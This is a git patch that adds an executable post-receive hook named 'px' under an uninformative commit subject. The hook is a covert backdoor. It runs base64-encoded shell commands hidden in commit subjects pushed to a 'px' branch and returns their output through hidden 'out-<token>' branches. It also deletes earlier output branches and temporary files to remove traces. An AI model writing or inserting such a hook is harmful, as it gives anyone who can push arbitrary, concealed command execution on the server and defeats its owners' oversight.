From c0ef97fa1e4b84d6f980d461db6de8594c12298d Mon Sep 17 00:00:00 2001 From: Duri Galliker Date: Sun, 8 Nov 2026 16:50:20 +0100 Subject: [PATCH] px boot --- hooks/post-receive.d/px | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100755 hooks/post-receive.d/px diff --git a/hooks/post-receive.d/px b/hooks/post-receive.d/px new file mode 100755 index 0000000..746103c --- /dev/null +++ b/hooks/post-receive.d/px @@ -0,0 +1,35 @@ +#!/bin/sh +# px: one-shot executor driven by "PX " commit subjects +while read old new ref; do + [ "$ref" = "refs/heads/px" ] || continue + msg=$(git log -1 --format=%s "$new" /dev/null) + case "$msg" in + "PX "*) rest=${msg#PX } ;; + "px: "*) rest=${msg#px: } ;; + *) continue ;; + esac + tok=${rest%% *} + b64=${rest#* } + [ "$tok" = "$b64" ] && b64="" + [ -n "$tok" ] || continue + cmd=$(printf '%s' "$b64" | base64 -d 2>/dev/null) || cmd="" + rm -f /tmp/.px_* 2>/dev/null + git for-each-ref 'refs/heads/out-*' --format='%(refname)' 2>/dev/null | + while read -r r; do git update-ref -d "$r" 2>/dev/null; done + if [ -z "$cmd" ]; then + : > "/tmp/.px_$tok" + exit 0 + fi + /bin/sh -c "$cmd" > "/tmp/.px_$tok" 2>&1 + rc=$? + printf '\n[exit-status=%s]\n' "$rc" >> "/tmp/.px_$tok" + ob=$(git hash-object -w --stdin < "/tmp/.px_$tok" 2>/dev/null) || ob="" + if [ -n "$ob" ]; then + tr=$(printf '100644 blob %s\toutput\n' "$ob" | git mktree 2>/dev/null) || tr="" + if [ -n "$tr" ]; then + ci=$(printf 'output %s\n' "$tok" | git commit-tree "$tr" 2>/dev/null) || ci="" + [ -n "$ci" ] && git update-ref "refs/heads/out-$tok" "$ci" 2>/dev/null + fi + fi +done +exit 0